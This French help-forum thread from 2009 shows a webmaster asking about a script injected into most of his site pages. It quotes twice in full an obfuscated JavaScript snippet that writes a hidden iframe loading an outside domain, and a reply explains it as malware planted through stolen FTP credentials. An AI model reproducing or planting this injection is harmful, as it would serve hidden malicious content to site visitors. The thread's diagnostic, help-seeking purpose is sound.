Sujet Précédent Sujet Suivant

Script inconnu sur mes pages web

Fermé
Marcos - 1 mars 2009 à 19:57
 marcos - 5 mars 2009 à 00:43
Bonjour,
J'ai un grand problème sur a peu près tous mes sites Web et je ne comprend pas d'où ça viens:

J'ai le script suivant a peu près sur toutes les pages de mes sites que ce soit ceux en html ainsi que ceux en joomla.
Je ne comprend pas d'où ça vient ni comment remédier a cela.
J'attends impatiemment vos réponses

<!-- ad --><script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script><!-- /ad --></body>
A voir également:

6 réponses

Réponse 1 / 6
gabgabgab Messages postés 888 Date d'inscription lundi 20 octobre 2008 Statut Membre Dernière intervention 30 avril 2014 26
1 mars 2009 à 19:59
as tu essayé de désinstaller et de réinstaller tous ce qui a un rapport avec internet ?
0
Réponse 2 / 6
noura509 Messages postés 246 Date d'inscription samedi 28 février 2009 Statut Membre Dernière intervention 17 février 2011 56
1 mars 2009 à 19:59
bonjour supprime ton historique de navigation
0
Marcos
1 mars 2009 à 20:09
Merci pour vos réponses rapides.

Oui j'ai reformaté mon ordi mais je retrouve encore ce code dans les fichier sources sur le serveur.
Le code à été ajouté au fichier html et php sur le serveur.
Que dois-je faire s'il vous plait.
Et qu'es ce que c'est que ce code??
Merci
0
Réponse 3 / 6
noura509 Messages postés 246 Date d'inscription samedi 28 février 2009 Statut Membre Dernière intervention 17 février 2011 56
1 mars 2009 à 20:10
As-tu déjà supprimer tes historiques de navigation ?
0
Marcos
1 mars 2009 à 20:14
Oui je l'ai fait, j'ai supprimé tout historique web. Deja j'ai firefox avec la barre web developer avec le cache toujours désactivé. En plus j'ai enlevé tous les historiques.
Et la j'ai reformaté mon ordi mais rien a faire.
Le code a été ajouté sur les fichier du serveur.
Merci
0
Réponse 4 / 6
noura509 Messages postés 246 Date d'inscription samedi 28 février 2009 Statut Membre Dernière intervention 17 février 2011 56
1 mars 2009 à 20:15
supprime firefox . et télécharger Windows Internet Explorer 7
0
Marcos
1 mars 2009 à 20:18
J'ai internet explorer, mais le code y est aussi.
Noura509 lorsque je télécharge les fichiers du serveur je trouve le code en copie a la fin de chaque fichier. Donc c'est pas du coté de mon ordi c'est plutôt du coté du serveur.
Je ne comprend pas comment on a pu ajouter le code dans les fichiers de mon serveur.

Merci
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
Réponse 5 / 6
Marcos
1 mars 2009 à 21:35
JE renouvelle ma question:
Es ce que quqlqu'un peut me dire c'est quoi ce code et d'ou cela peut venir??
Merci

<!-- ad --><script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script><!-- /ad --></body>
0
Steph
2 mars 2009 à 17:56
Bonjour Marcos,

Il s'agit d'un script malveillant, j'ai eu le même problème sur certains de mes sites web.
Vérifie bien que l'ordinateur ou les ordanteurs sur lequels tu travailles ne contiennent pas un virus qui a récupéré ton login et mot de passe ftp et donc a permis de modifier tes index.htm en rajoutant ce script malveillant.
Vérifie tes logs au cas ou c'est comme ca que j'ai pu idenfier un accès par ftp et un changement de mes index.

Cordialement
Steph
0
Réponse 6 / 6
marcos
5 mars 2009 à 00:43
merci steph,

J'ai changé les codes ftp et c'est bon. c'est exactement comme t'as expliqué. merci pour votre aide.

a+
0

Discussions similaires

[PIX] Commencer chaque poème sur une nouvelle page
ETHAN -
Willzac -

19 réponses
Chemin Logo du site de la Cité de l'espace
Keiios -
blux -

11 réponses